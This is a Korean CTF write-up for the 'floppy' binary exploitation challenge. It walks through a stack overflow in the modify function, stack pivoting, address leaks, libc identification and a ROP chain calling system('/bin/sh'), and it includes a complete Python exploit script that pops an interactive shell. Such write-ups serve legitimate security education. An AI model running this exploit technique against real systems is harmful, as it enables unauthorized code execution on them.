CTF solver & Writeup author

- milssi



그림 1. floppy 문제 설명


본격적인 분석에 앞서 checksec 를 통해 파일을 살펴 보자.



그림 2. floppy checksec

파일 자체에 NX 와 PIE 가 걸려있다.



그림 3. floppy 실행 화면


프로그램에는 두 개의 floppy 디스크가 존재하며, 각각 description, data 로 나누어져 각 부분에 데이터의 쓰기, 읽기, 수정이 가능하다.



그림 4. 데이터 입력




표 1. floppy 구조


floppy 는 구조체로 구현되어 있고, description 은 12 의 크기로 스택 메모리에 data 는 200 의 크기의 힙 영역에 저장된다.



그림 5. modify 함수 오버플로우 취약점 부분


소스코드를 분석해 보면, 수정 함수(modify) 부분에 description 부분을 수정하는 과정에서 오버플로우 취약점이 존재하는 것을 볼 수 있다.

위 표 1을 살펴보면, floppy1 의 description 에서 ret 까지 0x24 만큼의 차이가 나는 것을 볼 수 있다. 즉 modify 를 통해 floppy1 의 description 수정을 통해 ret 의 하위 1바이트까지 수정이 가능하다.

하지만 main 의 함수 종료 부분을 살펴보면 ebp-0x8 부분에 존재하는 값을 esp 에 넣어주고 ret 명령을 수행하는 것을 볼 수 있다. 즉 esp 컨트롤 및 ret 주소의 컨트롤이 가능하다는 것이다. 



그림 6. main 함수 종료부분


프로그램에 NX 가 걸려 있으므로 rop 를 사용하여 공격한다.

메모리 주소는 표 2와 같이 description 수정을 해준 후, read 명령을 쓰는 것으로 쉽게 알아낼 수 있다.


표 2. 입력 바이트 수 및 메모리 leak


또한 floppy2 description 수정을 통해 floppy1 의 data 부분을 원하는 주소로 덮어쓴 후, floppy1 을 read 하면 원하는 주소의 데이터를 읽어올 수 있다.

이를 이용하여 아래와 같이 공격에 필요한 주소 값들을 구한다.


그림 7. 서버 측으로부터 얻어 온 주소


이 문제에는 특이점이 존재하는데, libc 의 함수 (read, puts...) 가 실행되어도 got.plt 테이블에 함수 주소가 매핑되지 않는다. 매핑된 주소를 구할 수 있는 함수는 __libc_start_main 밖에 없으며, 이를 이용하여 사용하는 libc 버전 및 offset 들을 구해야 한다.

libc database 를 사용하여 검색한 결과, __libc_start_main 의 오프셋 하위 3바이트가 0x650 인 2개 버전을 찾아낼 수 있었고, 두 버전의 system, /bin/sh 의 오프셋을 구했다.



그림 8. libcc database 를 통한 libc 버전 검색


그림 9. libc database 를 통한 offset 계산


그림 10. 각 라이브러리에 __libc_start_main 오프셋 계산


이제 공격에 필요한 요소를 모두 구했다. 공격 시나리오는 다음과 같다.

1) memory leak 을 통해 주소 구하기

2) payload 작성

2-1) ROP 페이로드 작성

[ system address ] [ dummy ] [ '/bin/sh' address ]

2-2) floppy2 의 description 을 수정하여 floppy1 의 위치에 페이로드 덮어쓰기

2-3) ebp-0x8 부분, esp 컨트롤이 발생하는 주소에 floppy1 의 주소를 덮어씀.

3) esp 컨트롤이 발생하면 floppy1 에 위치한 페이로드가 실행

4) exploit


위의 시나리오로 공격을 수행하여 다음과 같이 쉘을 획득할 수 있었다.




ex.py


from socket import *
import time
import re
import struct
import telnetlib

def interact():
    t = telnetlib.Telnet()
    t.sock = cli
    t.interact();

def floppy_choice(num):
    cli.recv(1024)
    cli.send("1\n")
    time.sleep(0.3)
    send_str=str(num)+"\n"
    cli.recv(1024)
    cli.send(send_str)
    time.sleep(0.3)

def floppy_write():
    cli.recv(1024)
    cli.send("2\n")
    time.sleep(0.3)
    cli.recv(1024)
    cli.send("aaaa\n")
    time.sleep(0.3)
    cli.recv(1024)
    cli.send("aaaa\n")
    time.sleep(0.3)
    
def floppy_read():
    cli.recv(1024)
    cli.send("3\n")
    time.sleep(0.5)
    ret_str=cli.recv(1024)
    cli.send("3\n")
    time.sleep(0.3)
    return ret_str

def floppy_modify(num,text):
    cli.recv(1024)
    cli.send("4\n")
    time.sleep(0.3)
    cli.recv(1024)
    send_str=str(num)+"\n"
    cli.send(send_str)
    time.sleep(0.3)
    cli.recv(1024)
    cli.send(text)
    time.sleep(0.3)

def floppy_calcu(mode,offset,text,iszero):
    if mode == 1:
        l=desc.findall(text)
    elif mode == 2:
        l=data.findall(text)

    tmp = str(l[0])
    temp= tmp[offset::]
    temp1=0
    if iszero == 0:
        i=3
        while i>-1:
            temp1 = temp1 * 256
            temp1 += ord(temp[i])
            i-=1
    elif iszero == 1:
        i=3
        while i>0:

            temp1 = temp1 * 256
            temp1 += ord(temp[i])
            i-=1
        temp1 = temp1 * 256

    return temp1
    
data=re.compile(r'DATA:.*',re.I)
desc=re.compile(r'DESCRIPTION:.*',re.I)
cli = socket(AF_INET, SOCK_STREAM)
###server###
#cli.connect(('175.119.158.134',5559))
#libc_start_offset= 0x18650
#sh_offset = 0x15c8db
#system_offset = 0x3acf0


###local###
cli.connect(('192.168.1.104',50001))
libc_start_offset=0x19990
sh_offset =0x160a24
system_offset =0x40190


################################start################################

###Initialize###
floppy_choice(1)
floppy_write()
floppy_choice(2)
floppy_write()
###Initialize###

####memory leak###
for_heap="A"*0x14+"\n"
for_floppy="B"*0x18 + "\n"

floppy_choice(2)
floppy_modify(1,for_heap)
floppy_choice(2)
heap_add=floppy_calcu(1,33,floppy_read(),0)

floppy_choice(1)
floppy_modify(1,for_floppy)
floppy_choice(1)
floppy_add=floppy_calcu(1,29,floppy_read(),0)

print "\nheap address : " +hex(heap_add)
print "*floppy1 address : " +hex(floppy_add)
###memory leak###

###memory leak_(codebase & got.plt table & __libc_start_main)###
ret_add_in_floppy_read = floppy_add - 0x38
for_ret = "A"*0x14 + struct.pack("<I",ret_add_in_floppy_read) +"bbb\n"

floppy_choice(2)
floppy_modify(1,for_ret)
floppy_choice(1)
read_code_add=floppy_calcu(2,6,floppy_read(),0)

code_base_add = read_code_add - 0x10cb
read_got_plt_add = code_base_add + 0x2704

for i in range(11,12):
    for_ret = "A"*0x14
    for_ret+=struct.pack("<I",read_got_plt_add+(i*0x4))
    for_ret+="bbb\n"

    floppy_choice(2)
    floppy_modify(1,for_ret)
    floppy_choice(1)
    tmp= floppy_read()
    libc_start_main_add=floppy_calcu(2,6,tmp,0)

print "code base address : " + hex(code_base_add)
print "__libc_start_main address : " + hex(libc_start_main_add)
###memory leak_(codebase & got.plt table & __libc_start_main)###



###exploit###

sh_add = libc_start_main_add - libc_start_offset + sh_offset
system_add =libc_start_main_add - libc_start_offset + system_offset

print "'/bin/sh' address : " + hex(sh_add)
print "system address : " + hex(system_add)

payload = "A"*0xc + struct.pack("<I",system_add)+ struct.pack("<I",sh_add)*2 + "\n"
payload2 = struct.pack("<I",floppy_add)*11 + "\n"


floppy_choice(2)
floppy_modify(1,payload)
floppy_choice(1)
floppy_modify(1,payload2)

###exploit###

cli.send("id\n")
time.sleep(1)
print cli.recv(1024)

print "\nI'm in shell :)"
interact()


'Writeup' 카테고리의 다른 글

Codegate 2016 - Cemu  (0) 2016.03.20

+ Recent posts